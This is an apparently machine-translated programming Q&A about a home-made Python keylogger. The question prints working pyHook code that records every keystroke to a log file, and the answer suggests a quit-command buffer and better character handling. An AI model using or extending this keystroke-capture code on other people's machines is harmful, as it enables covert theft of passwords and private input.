2010-08-09 262 views
0

我正在基於我在網上找到的腳本編寫我自己的簡單密鑰記錄器。但是,我正在嘗試編寫一個鍵盤命令,以便在輸入此命令時記錄器程序將關閉。我應該怎麼做呢? (另外我知道它根本不安全,但是這個程序並不關心)在Python中創建密鑰命令

例如Ctrl +'exit'會關閉程序。

另外它有時不會在它創建的.log文件中正確地打印某些字符,這可能是什麼原因造成的? (我認爲字符吸引類型可能導致此問題)

#Key Logger 
#By: K.B. Carte 
#Version 1.0 
################ 

import pythoncom, pyHook, sys, logging, time 


LOG_FILENAME = 'C:\KeyLog\log.out' 



def OnKeyboardEvent(event): 
    keytime = time.strftime('%I:%M %S %p  %A %B %d, %Y   ') 
    logging.basicConfig(filename=LOG_FILENAME, 
         level=logging.DEBUG, 
         format='%(message)s') 

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'") 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

這是在Windows 7中,BTW。

回答

0

讓它通過一定的命令關閉,說「跳槽」 ......你想創建一個緩衝區....如果你讓你登錄一個緩衝的一切,你可以很容易做到

buff += newkeypress 
if "quit" in buff[-4:]: 
    logfile.close() 
    sys.exit(0) 

,或者你可以這樣做附加/彈出一個列表..或時髦的人物一些其他類型的循環緩衝區

,你可能結業想只打印了整個事情的六角..或忽略小於ascii 0的事件(如\ b和其他時髦字符)

或.. make一個ascii表(字典),並記錄匹配的關鍵,所以如果你得到\ b你登錄'',如果你得到'0'你登錄'0'

+0

我將如何使其Ctrl鍵然後鍵入「退出「? – rectangletangle 2010-08-09 05:50:59

+1

試試這個? http://www.daniweb.com/code/snippet216830.html – pyInTheSky 2010-08-09 05:56:12